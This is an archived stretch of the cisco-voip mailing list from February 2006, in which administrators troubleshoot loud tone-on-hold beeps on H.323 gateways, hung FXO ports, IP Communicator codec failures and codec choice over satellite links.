seconds.  For IP to IP phone calls, the beeps happen every 20 seconds.
Should the Tone on Hold timer apply to both gateway and IP to IP calls?

Is there another setting for Tone on Hold for H.323 gateways?
 

-----Original Message-----
From: Erick Bergquist [mailto:erickbe at yahoo.com] 
Sent: Wednesday, February 15, 2006 5:49 PM
To: Stu Packett; Wes Sisk
Cc: cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Callers Hear Beeps When Being Transferred

Are they hearing 3-quick beeps or one beep? With tone on hold (before
adjusting any timers) when putting someone on hold it plays 3 quick
beeps when the hold is initiated then beeps every x seconds (10 by
default). 

Maybe this tone is coming from somewhere else???

Have you tried IP phone to IP Phone, and same thing happens? If you're
not using MOH anywhere then this may show same symptons. Is user hold
and network hold set to same setting? If so then putting someone on hold
should be same as a transfer where network hold kicks in until transfer
is done.

--- Stu Packett <SPackett at fenwick.com> wrote:

> I tried setting the output attenuation to 6 and that did not seem to 
> help.  I also changed the Tone on Hold Timer to 200000 and 0, but it 
> kept playing every 10 seconds.  The Tone on Hold Timer documentation 
> says for non-MGCP devices, if it's set to 200000, it will not play, 
> but it still plays.  This seems to be the best solution for me if it 
> works.
> 
> I'm on H.323 gateways.  I've restarted my phone, but not the 
> CallManager.  Doesn't these clusterwide settings take effect 
> immediately?  Do I have a possible bug?
> 
> By the way, the beeps are LOUD.  Loud to the point where you have to 
> take the phone off your ear.
> 
> -----Original Message-----
> From: Erick Bergquist [mailto:erickbe at yahoo.com]
> Sent: Wednesday, February 15, 2006 2:22 PM
> To: Wes Sisk; Stu Packett
> Cc: cisco-voip at puck.nether.net
> Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred
> 
> You can also adjust the "Tone on Hold Timer (sec)* "
> timer under call manager service parameters. If you set this to 200000

> the tone will be disabled.
> 
> --- Wes Sisk <wsisk at cisco.com> wrote:
> 
> > that looks reasonable.  any chance you can set
> OA=6 and test.  i
> > suspect  the PSTN caller will faintly hear the
> IPPhone user with that
> > config, but it will confirm we are going down the
> right path.
> > 
> > /Wes
> > On Feb 15, 2006, at 11:12 AM, Stu Packett wrote:
> > 
> > Below are my settings on the H.323 gateway.
> > 
> > voice-port 0/0/0:23
> >   input gain -1
> >   output attenuation 3
> >   echo-cancel coverage 24
> >   bearer-cap Speech
> > 
> > From: Lelio Fulgenzi [mailto:lelio at uoguelph.ca]
> > Sent: Wednesday, February 15, 2006 8:02 AM
> > To: Wes Sisk; Stu Packett
> > Cc: cisco-voip at puck.nether.net
> > Subject: Re: [cisco-voip] Callers Hear Beeps When
> Being Transferred
> > 
> > Would this not also modify the volume of the
> voices themselves?
> > 
> >
>
------------------------------------------------------------------------
> > 
> > --------
> > Lelio Fulgenzi, B.A.
> > Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 
> > 2W1
> > (519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
> >
>
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> > "I had a coffee and Coke at lunch today...and now, I've got more 
> > jitter than an IP phone on a long haul 10base2
> > connection"                                       
>  
> >  LFJ
> > ----- Original Message -----
> > From: Wes Sisk
> > To: Stu Packett
> > Cc: cisco-voip at puck.nether.net
> > Sent: Wednesday, February 15, 2006 9:39 AM
> > Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred
> > 
> > Callmanager is simply gong to tell the gateway to play a tone.
> > what is your output attenuation on your gateway
> set
> > to?  this is the
> > only thing I am aware of that would modify the loudness of the tone.
> > 
> > /Wes
> > 
> > On Feb 15, 2006, at 2:03 AM, Stu Packett wrote:
> > 
> > CallManager 4.0(2a)sr2c
> > 
> > I got strange one here.  One of my users
> complained
> > that when he
> > calls our main number and asks to be transferred
> to
> > another employee,
> > he hears two or three beeps when the receptionist transfers his 
> > call.  The problem isn't the beeps itself, but the loudness of the 
> > beeps.  I was able to duplicate this issue on my phones, but on my 
> > lab phones, it does not do that.
> > 
> > Does anyone know where to find this "beep" setting when callers are 
> > transferred?
> > 
> > Thanks in advance.
> > 
> > IRS Circular 230  Disclosure:  To ensure
> compliance
> > with requirements
> > imposed by the IRS, we inform you that any U.S.
> > federal tax advice in
> > this communication (including attachments) is not intended or 
> > written by Fenwick & West LLP to be used, and cannot be used, for 
> > the purpose of (i) avoiding penalties under the Internal
> Revenue
> > Code or (ii)
> > promoting, marketing, or recommending to another party any 
> > transaction or matter addressed herein.
> > ATTENTION:
> > The information contained in this message may be legally privileged 
> > and confidential.  It is intended to be read only
> by
> > the individual
> > or entity to whom it is addressed or by their designee. If the 
> > reader of this message is not the intended recipient, you are on 
> > notice that any distribution of this message, in any form, is 
> > strictly prohibited.
> > If you have received this message in error, please immediately 
> > notify the sender and/or Fenwick & West LLP by telephone
> at
> > (650) 988-8500
> > and delete or destroy any copy of this message.
> > _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net
> >
> https://puck.nether.net/mailman/listinfo/cisco-voip
> > 
> > 
> > 
> > _______________________________________________
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> this communication (including attachments) is not intended or written 
> by Fenwick & West LLP to be used, and cannot be used, for the purpose 
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>
--------------------------------------------------------
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> and confidential.  It is intended to be read only by the individual or

> entity to whom it is addressed or by their designee. If the reader of 
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> distribution of this message, in any form, is strictly prohibited.
>  
> If you have received this message in error, please immediately notify 
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ATTENTION:
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If you have received this message in error, please immediately notify the sender and/or Fenwick & West LLP by telephone at (650) 988-8500 and delete or destroy any copy of this message.


From SPackett at fenwick.com  Thu Feb 23 13:26:45 2006
From: SPackett at fenwick.com (Stu Packett)
Date: Thu Feb 23 13:26:53 2006
Subject: [cisco-voip] Callers Hear Beeps When Being Transferred
Message-ID: <965C0255FD5828438E34F9A68ECA76E740AB3F@svcexch02.firm.fenwick.llp>

I did 'debug voip dspapi detail' and 'term mon', but no output.  I'm
sure I'm using this voice-port because there's only one on the router
and when I do a 'show call active voice compact', I see the call there.

I do not have 'MTP Enabled' in CCMAdmin.

I just sent another email, but the Tone on Hold seems to only take
effect on IP to IP calls, not IP to gateways calls.  Is this normal
operation? 

-----Original Message-----
From: Wes Sisk [mailto:wsisk at cisco.com] 
Sent: Wednesday, February 15, 2006 4:35 PM
To: Stu Packett
Cc: erickbe at yahoo.com; cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred

in h323 we only send a message to the GW that says 'hey, play tone 53' ,
well maybe not 53, but still just an index into an array.

if changing the OA on the voice port did not make a difference, then are
you 100% certain the call is routing through this voice port? was the
ipphone user's voice notably softer when you performed the test?  
on the gateway when call volume is low turn on 'debug dspapi detail'  
or 'debug voip dspapi detail' depending on your IOS version:
http://www.cisco.com/univercd/cc/td/doc/product/software/
ios124/124tcr/tdb_r/dbg_d1ht.htm#wp1083071

and look for a message like:
Aug 27 22:02:49.159: //19930/9C188849A6CA/DSPAPI/[1/0:23 (19930)]/
dsp_inband_tone_on:
     Tone ID=1, Direction=1, Num frequencies=2
     Frequency(hz): a=440 b=480, Amplitude(dB): a=-16.0 b=-16.0
     Cadence1(ms): ON=2000 OFF=4000
     Cadence2(ms): ON=0 OFF=0
     Cadence3(ms): ON=0 OFF=10000
     Cadence4(ms): ON=0 OFF=0
     Frequency(hz): a2=0 b2=0 a3=0 b3=0 a4=25799 b4=39688
     ITO option group: 1
Aug 27 22:02:53.027: //19930/9C188849A6CA/DSPAPI/[1/0:23 (19930)]/
dsp_query_info

Anyone know offhand what telephony tone is 440+480?

Do you have 'MTP Enabled' select on your h323 gateway config in
CCMAdmin?

/Wes

On Feb 15, 2006, at 7:06 PM, Stu Packett wrote:

I tried setting the output attenuation to 6 and that did not seem to
help.  I also changed the Tone on Hold Timer to 200000 and 0, but it
kept playing every 10 seconds.  The Tone on Hold Timer documentation
says for non-MGCP devices, if it's set to 200000, it will not play, but
it still plays.  This seems to be the best solution for me if it works.

I'm on H.323 gateways.  I've restarted my phone, but not the
CallManager.  Doesn't these clusterwide settings take effect
immediately?  Do I have a possible bug?

By the way, the beeps are LOUD.  Loud to the point where you have to
take the phone off your ear.

-----Original Message-----
From: Erick Bergquist [mailto:erickbe at yahoo.com]
Sent: Wednesday, February 15, 2006 2:22 PM
To: Wes Sisk; Stu Packett
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred

You can also adjust the "Tone on Hold Timer (sec)* "
timer under call manager service parameters. If you set this to 200000
the tone will be disabled.

--- Wes Sisk <wsisk at cisco.com> wrote:

> that looks reasonable.  any chance you can set OA=6 and test.  i 
> suspect  the PSTN caller will faintly hear the IPPhone user with that 
> config, but it will confirm we are going down the right path.
>
> /Wes
> On Feb 15, 2006, at 11:12 AM, Stu Packett wrote:
>
> Below are my settings on the H.323 gateway.
>
> voice-port 0/0/0:23
>   input gain -1
>   output attenuation 3
>   echo-cancel coverage 24
>   bearer-cap Speech
>
> From: Lelio Fulgenzi [mailto:lelio at uoguelph.ca]
> Sent: Wednesday, February 15, 2006 8:02 AM
> To: Wes Sisk; Stu Packett
> Cc: cisco-voip at puck.nether.net
> Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred
>
> Would this not also modify the volume of the voices themselves?
>
>
------------------------------------------------------------------------
>
> --------
> Lelio Fulgenzi, B.A.
> Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
> (519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
>
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> "I had a coffee and Coke at lunch today...and now, I've got more 
> jitter than an IP phone on a long haul 10base2 connection"
>  LFJ
> ----- Original Message -----
> From: Wes Sisk
> To: Stu Packett
> Cc: cisco-voip at puck.nether.net
> Sent: Wednesday, February 15, 2006 9:39 AM
> Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred
>
> Callmanager is simply gong to tell the gateway to play a tone.
> what is your output attenuation on your gateway set to?  this is the 
> only thing I am aware of that would modify the loudness of the tone.
>
> /Wes
>
> On Feb 15, 2006, at 2:03 AM, Stu Packett wrote:
>
> CallManager 4.0(2a)sr2c
>
> I got strange one here.  One of my users complained that when he calls

> our main number and asks to be transferred to another employee, he 
> hears two or three beeps when the receptionist transfers his call.  
> The problem isn't the beeps itself, but the loudness of the beeps.  I 
> was able to duplicate this issue on my phones, but on my lab phones, 
> it does not do that.
>
> Does anyone know where to find this "beep" setting when callers are 
> transferred?
>
> Thanks in advance.
>
> IRS Circular 230  Disclosure:  To ensure compliance with requirements 
> imposed by the IRS, we inform you that any U.S.
> federal tax advice in
> this communication (including attachments) is not intended or written 
> by Fenwick & West LLP to be used, and cannot be used, for the purpose 
> of (i) avoiding penalties under the Internal Revenue Code or (ii) 
> promoting, marketing, or recommending to another party any transaction

> or matter addressed herein.
> ATTENTION:
> The information contained in this message may be legally privileged 
> and confidential.  It is intended to be read only by the individual or

> entity to whom it is addressed or by their designee. If the reader of 
> this message is not the intended recipient, you are on notice that any

> distribution of this message, in any form, is strictly prohibited.
> If you have received this message in error, please immediately notify 
> the sender and/or Fenwick & West LLP by telephone at
> (650) 988-8500
> and delete or destroy any copy of this message.
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>> _______________________________________________
> cisco-voip mailing list
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> https://puck.nether.net/mailman/listinfo/cisco-voip
>


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around
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--------------------------------------------------------

IRS Circular 230  Disclosure:  To ensure compliance with requirements
imposed by the IRS, we inform you that any U.S. federal tax advice in
this communication (including attachments) is not intended or written by
Fenwick & West LLP to be used, and cannot be used, for the purpose of
(i) avoiding penalties under the Internal Revenue Code or (ii)
promoting, marketing, or recommending to another party any transaction
or matter addressed herein.
--------------------------------------------------------

ATTENTION:
The information contained in this message may be legally privileged and
confidential.  It is intended to be read only by the individual or
entity to whom it is addressed or by their designee. If the reader of
this message is not the intended recipient, you are on notice that any
distribution of this message, in any form, is strictly prohibited.

If you have received this message in error, please immediately notify
the sender and/or Fenwick & West LLP by telephone at (650) 988-8500 and
delete or destroy any copy of this message.



From CORTIZ at broward.org  Thu Feb 23 13:38:49 2006
From: CORTIZ at broward.org (Ortiz, Carlos)
Date: Thu Feb 23 13:38:57 2006
Subject: [cisco-voip] FXO ports hanging issue
Message-ID: <26B357EF9FB7D04A989C9E82A9E5436E01BC2E39@MREXVS01.bc.broward.cty>

We are getting the issue with no resets or anything.  Are you saying
that is the cause of the issue?

 

________________________________

From: Francois Tanguay [mailto:algren at gmail.com] 
Sent: Thursday, February 23, 2006 12:50 PM
To: Ortiz, Carlos
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] FXO ports hanging issue

 

I'm having the same issue. Ressetting the gateway from the call manager
cause that issue (you can try it and see for yourself)  I'm hitting the
bug each time I do that or if a reset the device pool containing the
gateway.

You can fix this issue buy doing "no mgcp" then "mgcp" instead of
rebooting the router. But the problem shows up again if you do a reset.




On 2/22/06, Ortiz, Carlos <CORTIZ at broward.org> wrote:

There is a known bug out there with FXO cards that seems to be affecting
us (Waiting for another occurrence to verify with debugs for TAC).  The
FXO cards on 2800/3800 serires routers can get hung up.  Inbound and
outbound calls stop functioning and the only workaround at this time is
a reboot.  I have about 5 locations with a 2800 series router and FXO
cards.  I only see this problem in one location that happens to have the
heaviest call volume.  Just curious if anyone else has encountered this
issue....

 

Carlos 


_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip



 

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From jonvoip at gmail.com  Thu Feb 23 15:05:47 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Thu Feb 23 15:05:49 2006
Subject: [cisco-voip] SRST with CME
Message-ID: <5d093f9a0602231205x1e7f0a99v8077b79cc0af879b@mail.gmail.com>

So, we were poking around the bugIDs at Cisco and one of them cited a bug
where on CME, the phone would fail to fail-over...

I am curious, is it even possible to set up SRST (on a second gateway) with
CME?



Jonathan
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From lelio at uoguelph.ca  Thu Feb 23 15:20:03 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Thu Feb 23 15:20:07 2006
Subject: [cisco-voip] thinking outside the box (maximum number of calls per
	line > 3 why?)
Message-ID: <004f01c638b6$8752ed40$30196883@cfs.uoguelph.ca>

Ok - perhaps it's just a Friday thing (I know it's Thursday)....but I'm wondering why someone would want a maximum calls setting of more than 3 or 4 per line. Is there a CTI application out there that can take advantage of this? If there is, again, why would you want to handle so many calls at once?
--------------------------------------------------------------------------------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
"I had a coffee and Coke at lunch today...and now, I've got more jitter than an
IP phone on a long haul 10base2 connection"                                           LFJ
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From rratliff at cisco.com  Thu Feb 23 16:06:50 2006
From: rratliff at cisco.com (Ryan Ratliff)
Date: Thu Feb 23 16:06:46 2006
Subject: [cisco-voip] Callers Hear Beeps When Being Transferred
In-Reply-To: <965C0255FD5828438E34F9A68ECA76E740AB3F@svcexch02.firm.fenwick.llp>
References: <965C0255FD5828438E34F9A68ECA76E740AB3F@svcexch02.firm.fenwick.llp>
Message-ID: <A0A899DA-4BBA-47B3-AF94-53DA09A7E7F4@cisco.com>

If your gateway is H.323 then the CM timers have no effect.  CM just  
tells the gateway to play tone xx and that corresponds to tone on hold.

-Ryan

On Feb 23, 2006, at 1:26 PM, Stu Packett wrote:

I did 'debug voip dspapi detail' and 'term mon', but no output.  I'm
sure I'm using this voice-port because there's only one on the router
and when I do a 'show call active voice compact', I see the call there.

I do not have 'MTP Enabled' in CCMAdmin.

I just sent another email, but the Tone on Hold seems to only take
effect on IP to IP calls, not IP to gateways calls.  Is this normal
operation?

-----Original Message-----
From: Wes Sisk [mailto:wsisk at cisco.com]
Sent: Wednesday, February 15, 2006 4:35 PM
To: Stu Packett
Cc: erickbe at yahoo.com; cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred

in h323 we only send a message to the GW that says 'hey, play tone 53' ,
well maybe not 53, but still just an index into an array.

if changing the OA on the voice port did not make a difference, then are
you 100% certain the call is routing through this voice port? was the
ipphone user's voice notably softer when you performed the test?
on the gateway when call volume is low turn on 'debug dspapi detail'
or 'debug voip dspapi detail' depending on your IOS version:
http://www.cisco.com/univercd/cc/td/doc/product/software/
ios124/124tcr/tdb_r/dbg_d1ht.htm#wp1083071

and look for a message like:
Aug 27 22:02:49.159: //19930/9C188849A6CA/DSPAPI/[1/0:23 (19930)]/
dsp_inband_tone_on:
      Tone ID=1, Direction=1, Num frequencies=2
      Frequency(hz): a=440 b=480, Amplitude(dB): a=-16.0 b=-16.0
      Cadence1(ms): ON=2000 OFF=4000
      Cadence2(ms): ON=0 OFF=0
      Cadence3(ms): ON=0 OFF=10000
      Cadence4(ms): ON=0 OFF=0
      Frequency(hz): a2=0 b2=0 a3=0 b3=0 a4=25799 b4=39688
      ITO option group: 1
Aug 27 22:02:53.027: //19930/9C188849A6CA/DSPAPI/[1/0:23 (19930)]/
dsp_query_info

Anyone know offhand what telephony tone is 440+480?

Do you have 'MTP Enabled' select on your h323 gateway config in
CCMAdmin?

/Wes

On Feb 15, 2006, at 7:06 PM, Stu Packett wrote:

I tried setting the output attenuation to 6 and that did not seem to
help.  I also changed the Tone on Hold Timer to 200000 and 0, but it
kept playing every 10 seconds.  The Tone on Hold Timer documentation
says for non-MGCP devices, if it's set to 200000, it will not play, but
it still plays.  This seems to be the best solution for me if it works.

I'm on H.323 gateways.  I've restarted my phone, but not the
CallManager.  Doesn't these clusterwide settings take effect
immediately?  Do I have a possible bug?

By the way, the beeps are LOUD.  Loud to the point where you have to
take the phone off your ear.

-----Original Message-----
From: Erick Bergquist [mailto:erickbe at yahoo.com]
Sent: Wednesday, February 15, 2006 2:22 PM
To: Wes Sisk; Stu Packett
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred

You can also adjust the "Tone on Hold Timer (sec)* "
timer under call manager service parameters. If you set this to 200000
the tone will be disabled.

--- Wes Sisk <wsisk at cisco.com> wrote:

> that looks reasonable.  any chance you can set OA=6 and test.  i
> suspect  the PSTN caller will faintly hear the IPPhone user with that
> config, but it will confirm we are going down the right path.
>
> /Wes
> On Feb 15, 2006, at 11:12 AM, Stu Packett wrote:
>
> Below are my settings on the H.323 gateway.
>
> voice-port 0/0/0:23
>   input gain -1
>   output attenuation 3
>   echo-cancel coverage 24
>   bearer-cap Speech
>
> From: Lelio Fulgenzi [mailto:lelio at uoguelph.ca]
> Sent: Wednesday, February 15, 2006 8:02 AM
> To: Wes Sisk; Stu Packett
> Cc: cisco-voip at puck.nether.net
> Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred
>
> Would this not also modify the volume of the voices themselves?
>
>
------------------------------------------------------------------------
>
> --------
> Lelio Fulgenzi, B.A.
> Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
> (519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
>
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> "I had a coffee and Coke at lunch today...and now, I've got more
> jitter than an IP phone on a long haul 10base2 connection"
>  LFJ
> ----- Original Message -----
> From: Wes Sisk
> To: Stu Packett
> Cc: cisco-voip at puck.nether.net
> Sent: Wednesday, February 15, 2006 9:39 AM
> Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred
>
> Callmanager is simply gong to tell the gateway to play a tone.
> what is your output attenuation on your gateway set to?  this is the
> only thing I am aware of that would modify the loudness of the tone.
>
> /Wes
>
> On Feb 15, 2006, at 2:03 AM, Stu Packett wrote:
>
> CallManager 4.0(2a)sr2c
>
> I got strange one here.  One of my users complained that when he calls

> our main number and asks to be transferred to another employee, he
> hears two or three beeps when the receptionist transfers his call.
> The problem isn't the beeps itself, but the loudness of the beeps.  I
> was able to duplicate this issue on my phones, but on my lab phones,
> it does not do that.
>
> Does anyone know where to find this "beep" setting when callers are
> transferred?
>
> Thanks in advance.
>
> IRS Circular 230  Disclosure:  To ensure compliance with requirements
> imposed by the IRS, we inform you that any U.S.
> federal tax advice in
> this communication (including attachments) is not intended or written
> by Fenwick & West LLP to be used, and cannot be used, for the purpose
> of (i) avoiding penalties under the Internal Revenue Code or (ii)
> promoting, marketing, or recommending to another party any transaction

> or matter addressed herein.
> ATTENTION:
> The information contained in this message may be legally privileged
> and confidential.  It is intended to be read only by the individual or

> entity to whom it is addressed or by their designee. If the reader of
> this message is not the intended recipient, you are on notice that any

> distribution of this message, in any form, is strictly prohibited.
> If you have received this message in error, please immediately notify
> the sender and/or Fenwick & West LLP by telephone at
> (650) 988-8500
> and delete or destroy any copy of this message.
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around
http://mail.yahoo.com
--------------------------------------------------------

IRS Circular 230  Disclosure:  To ensure compliance with requirements
imposed by the IRS, we inform you that any U.S. federal tax advice in
this communication (including attachments) is not intended or written by
Fenwick & West LLP to be used, and cannot be used, for the purpose of
(i) avoiding penalties under the Internal Revenue Code or (ii)
promoting, marketing, or recommending to another party any transaction
or matter addressed herein.
--------------------------------------------------------

ATTENTION:
The information contained in this message may be legally privileged and
confidential.  It is intended to be read only by the individual or
entity to whom it is addressed or by their designee. If the reader of
this message is not the intended recipient, you are on notice that any
distribution of this message, in any form, is strictly prohibited.

If you have received this message in error, please immediately notify
the sender and/or Fenwick & West LLP by telephone at (650) 988-8500 and
delete or destroy any copy of this message.


_______________________________________________
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https://puck.nether.net/mailman/listinfo/cisco-voip


From voipermike at gmail.com  Thu Feb 23 17:12:46 2006
From: voipermike at gmail.com (Mike Mike)
Date: Thu Feb 23 17:12:48 2006
Subject: [cisco-voip] IP Communicator issue
Message-ID: <8bbfc1f40602231412j1e540a2fpaa65cc4a80da2377@mail.gmail.com>

Ip Communicator version 2.0 running on two seperate machines. One is Win 2k
SP4 and the other is Win XP SP 2.  Communicators are setup to share the hard
phone extension.  Calls placed internally work fine but when trying to call
external, the call will ring once then go fast busy.  I am still collecting
more info but putting out the feelers to see if anyone else has had same or
similar issues.
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From Anthony.Mendoza at ca.com  Thu Feb 23 17:15:28 2006
From: Anthony.Mendoza at ca.com (Mendoza, Anthony R)
Date: Thu Feb 23 17:15:32 2006
Subject: [cisco-voip] IP Communicator issue
Message-ID: <1AF386D5BB98C240A1876235AA12867644E267@USILMS13.ca.com>

Perhaps CSS setup for IP Communicators?
 
-Anthony

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Mike Mike
Sent: Thursday, February 23, 2006 2:13 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] IP Communicator issue


Ip Communicator version 2.0 running on two seperate machines. One is Win
2k SP4 and the other is Win XP SP 2.  Communicators are setup to share
the hard phone extension.  Calls placed internally work fine but when
trying to call external, the call will ring once then go fast busy.  I
am still collecting more info but putting out the feelers to see if
anyone else has had same or similar issues.

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From Scott.Voll at wesd.org  Thu Feb 23 17:30:27 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Thu Feb 23 17:30:41 2006
Subject: [cisco-voip] thinking outside the box (maximum number of calls
	perline > 3 why?)
Message-ID: <D713462ED535184D830F6F6301753E7E01BE170B@VISHNU.wesd.org>

Receptionist comes to mind.

 

And you need at least one more line then busy so that if you have max
calls you have one left to make the transfer or conference.

 

IE>  busy is set to 2 and max is set to 4.  if both were set to 2 and
you have two calls, you can not transfer one call to someone else(you
need an extra line to make the transfer).  I hated this in CM 3.x

 

Make sense?

 

Scott

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Lelio Fulgenzi
Sent: Thursday, February 23, 2006 12:20 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] thinking outside the box (maximum number of calls
perline > 3 why?)

 

Ok - perhaps it's just a Friday thing (I know it's Thursday)....but I'm
wondering why someone would want a maximum calls setting of more than 3
or 4 per line. Is there a CTI application out there that can take
advantage of this? If there is, again, why would you want to handle so
many calls at once?

------------------------------------------------------------------------
--------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
"I had a coffee and Coke at lunch today...and now, I've got more jitter
than an
IP phone on a long haul 10base2 connection"
LFJ

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From kthorngr at cisco.com  Thu Feb 23 18:30:56 2006
From: kthorngr at cisco.com (Kevin Thorngren)
Date: Thu Feb 23 18:30:43 2006
Subject: [cisco-voip] IP Communicator issue
In-Reply-To: <1AF386D5BB98C240A1876235AA12867644E267@USILMS13.ca.com>
References: <1AF386D5BB98C240A1876235AA12867644E267@USILMS13.ca.com>
Message-ID: <423ad38bbf29fa50714573ca079aab22@cisco.com>

Most of the time when a call through a GW rings once then disconnects 
there is a problem with codec negotiation.  What type of GW do you 
have?

Kevin
On Feb 23, 2006, at 5:15 PM, Mendoza, Anthony R wrote:

> Perhaps CSS setup for IP Communicators?
> ?
> -Anthony
> From: cisco-voip-bounces at puck.nether.net 
> [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Mike Mike
> Sent: Thursday, February 23, 2006 2:13 PM
> To: cisco-voip at puck.nether.net
> Subject: [cisco-voip] IP Communicator issue
>
> Ip Communicator version 2.0 running on two seperate machines. One is 
> Win 2k SP4 and the other is Win XP SP 2.? Communicators are setup to 
> share the hard phone extension.? Calls placed internally work fine but 
> when trying to call external, the call will ring once then go fast 
> busy.? I am still collecting more info but putting out the feelers to 
> see if anyone else has had same or similar issues.
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
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From bababooey at cox.net  Thu Feb 23 21:53:14 2006
From: bababooey at cox.net (Bob A. Bowie)
Date: Thu Feb 23 21:53:28 2006
Subject: [cisco-voip] 7970 phone display
Message-ID: <000a01c638ed$77b17140$0f0110ac@corporation2>

Is there a way to remove the phone number from the top line of the IP
7970 Phone display in Cisco CM 4.1.3?

Also, can you change the "Your current options" text on the bottom line? 
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From bababooey at cox.net  Thu Feb 23 21:56:45 2006
From: bababooey at cox.net (Bob A. Bowie)
Date: Thu Feb 23 21:56:57 2006
Subject: [cisco-voip] Cisco phone protocol satellite
Message-ID: <001501c638ed$f41e2a20$0f0110ac@corporation2>

Which protocol, G.711 or G.729 would be best for usage on a satellite connection with close to
1 second round trip delay.  Would the G.711 be more resilent to lost packets, when a packet is 
lost I lose more info on the G.729?
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From woody at pch.net  Thu Feb 23 22:12:07 2006
From: woody at pch.net (Bill Woodcock)
Date: Thu Feb 23 22:12:14 2006
Subject: [cisco-voip] Cisco phone protocol satellite
In-Reply-To: <001501c638ed$f41e2a20$0f0110ac@corporation2>
References: <001501c638ed$f41e2a20$0f0110ac@corporation2>
Message-ID: <Pine.SOC.4.61.0602231910260.15566@paixhost.pch.net>

    > Which protocol, G.711 or G.729 would be best for usage on a satellite connection with close to
    > 1 second round trip delay.  Would the G.711 be more resilent to lost packets, when a packet is 
    > lost I lose more info on the G.729?

You'll probably want to test this yourself, but although you'd think G.711 
would hold up better, I've found G.729a actually seems to give better 
results.  I don't know whether it's because it's contending for less 
bandwidth, or what, but it does seem to sound clearer.

It's what we're using on the INOC-DBA network, and we've got hundreds of 
phones on the ends of satellite links in the Pacific, central Asia, and 
Africa.

                                -Bill


From rratliff at cisco.com  Thu Feb 23 22:13:28 2006
From: rratliff at cisco.com (Ryan Ratliff)
Date: Thu Feb 23 22:13:21 2006
Subject: [cisco-voip] IP Communicator issue
In-Reply-To: <423ad38bbf29fa50714573ca079aab22@cisco.com>
References: <1AF386D5BB98C240A1876235AA12867644E267@USILMS13.ca.com>
	<423ad38bbf29fa50714573ca079aab22@cisco.com>
Message-ID: <AB7D6820-9F16-4A65-9343-721841FB629B@cisco.com>

Check to see if the check box for low bandwidth codec is set on the  
IPC.  This forces it to use g.729 and if your gateway is only doing  
g711 it will fail at media  negotiation (unless you happen to have an  
xcoder).

-Ryan

On Feb 23, 2006, at 6:30 PM, Kevin Thorngren wrote:

Most of the time when a call through a GW rings once then disconnects  
there is a problem with codec negotiation.  What type of GW do you have?

Kevin
On Feb 23, 2006, at 5:15 PM, Mendoza, Anthony R wrote:

> Perhaps CSS setup for IP Communicators?
>
> -Anthony
> From: cisco-voip-bounces at puck.nether.net [mailto:cisco-voip- 
> bounces at puck.nether.net] On Behalf Of Mike Mike
> Sent: Thursday, February 23, 2006 2:13 PM
> To: cisco-voip at puck.nether.net
> Subject: [cisco-voip] IP Communicator issue
>
